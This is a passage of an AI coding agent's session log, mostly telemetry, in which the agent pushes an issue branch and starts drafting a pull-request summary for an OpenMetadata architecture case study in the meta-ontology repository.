issue-5-e2602184e2c5\n[2026-07-12T04:08:01.680Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:01.680Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.680Z] [INFO] 2026-07-12T04:08:01.680448Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 duration_ms=1629 success=true arguments_length=141 output_length=225 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:01.680Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.680Z] [INFO] \n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.705922Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP arguments=const u=await tools.update_plan({explanation:\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"in_progress\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:08:01.706Z] [INFO] ]});\n[2026-07-12T04:08:01.706Z] [INFO] const r=await tools.exec_command({cmd:\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:08:01.706Z] [INFO]  duration_ms=1732 success=true output=Script completed\n[2026-07-12T04:08:01.706Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:08:01.706Z] [INFO] Output:\n[2026-07-12T04:08:01.706Z] [INFO] \n[2026-07-12T04:08:01.706Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:08:01.706Z] [INFO]    e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:08:01.706Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:01.705Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.705972Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP duration_ms=1732 success=true arguments_length=1123 output_length=170 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:01.705Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.706183Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1732 total_duration_ms=1733\n[2026-07-12T04:08:01.706Z] [INFO] \n[2026-07-12T04:08:01.785Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_48\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git push origin issue-5-e2602184e2c5'\",\"aggregated_output\":\"To https://github.com/link-foundation/meta-ontology.git\\n   e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:01.785Z] [INFO] \n[2026-07-12T04:08:01.891Z] [INFO] 2026-07-12T04:08:01.889812Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:01.891Z] [INFO] \n[2026-07-12T04:08:02.070Z] [INFO] 2026-07-12T04:08:02.070041Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:02.070Z] [INFO] \n[2026-07-12T04:08:02.172Z] [INFO] 2026-07-12T04:08:02.166032Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:02.172Z] [INFO] \n[2026-07-12T04:08:02.212Z] [INFO] 2026-07-12T04:08:02.210117Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:02.212Z] [INFO] \n[2026-07-12T04:08:02.250Z] [INFO] 2026-07-12T04:08:02.250150Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:02.250Z] [INFO] \n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343832Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:02.343Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343895Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:02.343Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343911Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:02.403Z] [INFO] \n[2026-07-12T04:08:02.539Z] [INFO] 2026-07-12T04:08:02.478414Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:02.539Z] [INFO] \n[2026-07-12T04:08:02.634Z] [INFO] 2026-07-12T04:08:02.480959Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9f199415-d19b-47d8-82b4-e39fdf67ec7e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=q0KvRnhQCVNrWT2tPtCHFmcXgCVXP4mDD9E%2Fm%2FkLY7J1tpAM42ERy7j%2BZuWbT1qhEfGqSnuZnP%2BPfT8rw7FgmreFkHLYMJPkXpTihroPR5EoO5M9n1EOhAgJM8%2FM\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2f3709d0d385-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:02.634Z] [INFO] \n[2026-07-12T04:08:03.543Z] [INFO] 2026-07-12T04:08:03.540124Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53132384e88191aa2b61a10f1e0cd4\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMj1R9y6TBkKFP5-hrKQQcJf5WHtuoet_b3F-shv3RvqLWmnJau8sc5l2a05trePnOPS9W2rLMh3IgDDwZbTHGihBJ4DupxPfp61W_zlfm1nvnx1huqjrydwe2OJFmc2KQBKhfW75tNEy4dYYZVDnENh0Qemf_Zb43lJTQUW4J8RcIK16QC5F6ZsUHlcMXl625eKG0M32z120cGmFpT77Pdbj82TuwsLBIpS8XauIsLX4KeS3iTb9Qdi__M9NS2lw-djlfxVz-PbIc1cyBtHiVc0epDGX7MFyDtx6NpRLOCzxJ4j_YCBkR9m0BIMjZGRHUmv8zwfOtpAArDxVZ0Sqq9tfNLwB4AYLnorKXtYIkmbA0RVLxCU22ZGmkYyt-wXlEeEW7h2i805bAy7f5K0hGyWAPHwbB-qqTu0wTszQ_5W9VriL5KpNoR8lPpoBOF2HDFcreZJ8IFE1Nm_96sl5qiW9i_efnuTDNBGYnXZBtcxnh85otJ7DhKYXzqVfSk_7PIrYL_LetieOxz0Ddn4_oT7Lf6rB7PKGoIvhdH4aZbFXRsrahdPSEwkDKyOEiFSeFK3NTmCSqv034aUCvL_ymANLjlw1HtzsIDHsRg-718QX8cno73tpB2W5Pm8a4LN3papKZ4aC0I-mEWocnRDApHRBoifmL2us5WOBRckaYcpkEBfOb81yQ8Vveg4DB9Gh7ETLpiOngJmTjmfd8bkGxUlk-U95APdC4vrk_31GFV2vzxVEm9UAymDOG_8fN7ubGSxOPMupO3moSYosGJO7KcS_4RFy-FG3X2w3KZ-bxqRQ1o-pb0EDBfjwJgkmwwSWHnnK-htrsGH1HCdbiuij8X0PiuvizgQdC_KZxtk2I9orsdOgRLY1D8vxPywJOi3jHsgtFE_Im1KjUcwAmt5KvfIw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:03.543Z] [INFO] \n[2026-07-12T04:08:06.172Z] [INFO] 2026-07-12T04:08:06.170718Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53132384e88191aa2b61a10f1e0cd4\"), summary: [SummaryText { text: \"**Finalizing PR description update method**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMmtwK8WSiW6BAxCuvVQk2mVMGihV_Ej9r42qlzbDBQ3BlK5IbQJZxAAMOmdY7AkquZx8Qw7p4QbnxpgiW8tsOEVKGxI96rLzYCEF1_kVmwWcn6wGF6qvA7mz2Zn1k0xy_HgzBMIdgZK7wHO-rbxkoFdlY8wK7t6tgy559hzi9ua2BEq5GALhSNTls7xf1rsGyWubfNuZGVdSwdNXA8eHj4-fKFGeOqLi9fqofr6wdnmAPs6lOd0FoWsES6ekAkOIK6SewJ3QeR77IkMyw8M1so1LL_o2wOGpvglhCNAP2ulU8ENcLIKevJgzSP2tpV9WcQmI5og09JLDldsAktiX8xfu9CFulWWRnOY_58SaejOlFj1_NUNJ-qj0JTJoTMX6amt6O-UTC5v3ZJR_28X7B6gpGpDic0R8C59t8spcXn2xpZlcApih6D7kHJRpn-5YD1asSYA05cZZkqzaKQyUtPUp-vZOQSr41f9iXcA49BAjuVDgEPzfnVhjmvbSH305Ndz9gPmmPPkhIqYFhn3ZMLH8KS7qaZYEQEnV7DHjLAzMvyCvCaApe4GT7hrblij8gNxPisvV6-wmy5LBpQHNFzBMNfNXV-dMi_l2uspVXB-GEAc21iIcfsolim-JLcm9c7IHSFlQwUtWt4aZATDBbsLOLqP3JfW6YLgBQTYPr1-1vHJ3KjJobAMPkHpCzwrM5IWR1LqMSvyID_Bhbigxtnx9v9qO_DDTYT6uldJJdG8WQPk7gE0tQ8FsYmAfVr_sMFPtaft9LyAqpbcXY2RLHlbKuUcTX7Zadgp9Wl17urFf2-w8HcY28lGL15j2gvkg_RRBl0ZBRN5hehrekmucGjavPKizUoupkSvzDDI8-Nyxf6C5sjmqrhq-xcikuZLAd7DKkyDl3U1-7eQiDkGmpXy6pLo9JGeeQsj3jqBrLgOTOK7pFvSxzTeTkScYyN9A6Xz8fWSVMg2FZVx-rSDgZGIgorPTJtAu49F-Ga9DWsm8Hs-HHDxA8j9CrSuI5iv8N5q0OfrV-tOd--ONPcwRSlX9xlWgXXrJd8-XYBPWztoL4Klg4zXJmoyjOyeWIuBGZmu4qFOJ5crl9p6epZtVc6XTCpfoJf7O7cIqpwrhT0pSituaeufEMg7i5Uz7WuF0DRAZifwr978Qx72UMTuZKlnMeQBuA970b5oRyVTpe7T-dtBEN4Rwxtpvtx47KgDWY42YjNzVA9dEkbRmgTn8FMlFAaJsIVdmqsQ3oU2yTCgR_4u8Ogowz_Ex2AiIwmSHXTLIRo-PgNViLb40vsETy2mslWDGkSdZtUn_kMpaQ7SDiLLOxAZq9iKf2IpRODnT-YBSK1tCPtKh7sRnO2-4i3fJXB_jqHPFrCWUGD9cNGlN2BQ8bnQOxzbX9EIqVjvVxXolBbQ3wHql4_ElNfQKmVVb_AIUqG3qtciGMTzp7B09lfs2O98LGStwUygUgBHmp0nUuXEssICaE2hcwa_9-XwQ1IGd9Gz92gTHJlsTKyDRg83tEkyHAWKB3baatDKn108YDiv0tvcS2VKoxtyVtYZy0qDb2FA0RCw1w4rywVj-I=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:06.172Z] [INFO] \n[2026-07-12T04:08:06.176Z] [INFO] 2026-07-12T04:08:06.172124Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531326251481919460c74234801a5e\"), status: Some(\"in_progress\"), call_id: \"call_Xs1GHvtcyyOd3xIgUgf6ecFj\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:06.176Z] [INFO] \n[2026-07-12T04:08:06.177Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_49\",\"type\":\"reasoning\",\"text\":\"**Finalizing PR description update method**\"}}\n[2026-07-12T04:08:06.177Z] [INFO] \n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.049572Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.049867Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.051356Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=1\n[2026-07-12T04:08:13.054Z] [INFO] \n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.054065Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.054118Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.055058Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:08:13.060Z] [INFO] \n[2026-07-12T04:08:13.101Z] [INFO] 2026-07-12T04:08:13.099473Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:08:13.101Z] [INFO] 2026-07-12T04:08:13.100317Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:08:13.101Z] [INFO] \n[2026-07-12T04:08:13.105Z] [INFO] 2026-07-12T04:08:13.102044Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:08:13.105Z] [INFO] 2026-07-12T04:08:13.102071Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59947\n[2026-07-12T04:08:13.105Z] [INFO] \n[2026-07-12T04:08:14.360Z] [INFO] 2026-07-12T04:08:14.358319Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:14.360Z] [INFO] \n[2026-07-12T04:08:14.384Z] [INFO] 2026-07-12T04:08:14.383256Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:14.384Z] [INFO] \n[2026-07-12T04:08:14.387Z] [INFO] 2026-07-12T04:08:14.386484Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:14.387Z] [INFO] \n[2026-07-12T04:08:14.412Z] [INFO] 2026-07-12T04:08:14.392403Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:14.412Z] [INFO] \n[2026-07-12T04:08:14.564Z] [INFO] 2026-07-12T04:08:14.562620Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"31e56b2c-11b8-4924-ad45-44085386fc5d\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=eLB4k9hstsiwB14iSPWHhSOp6sjBX23MlUtjx0Y1xVJB8RsmDgrUWALvBfejXCb6SrbBcUizAyX8h284AaNM3ns2yXqTggLa3ShbeWR2w6vujpFDm9f13YlLPHA1\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2f82384bd35e-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:14.564Z] [INFO] \n[2026-07-12T04:08:14.589Z] [INFO] 2026-07-12T04:08:14.588317Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:14.589Z] [INFO] \n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591067Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=208 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591144Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=208 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591172Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:14.592Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] 2026-07-12T04:08:17.575943Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const body=`## Summary\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:17.577Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:17.577Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:17.577Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:17.577Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:17.577Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:17.577Z] [INFO] 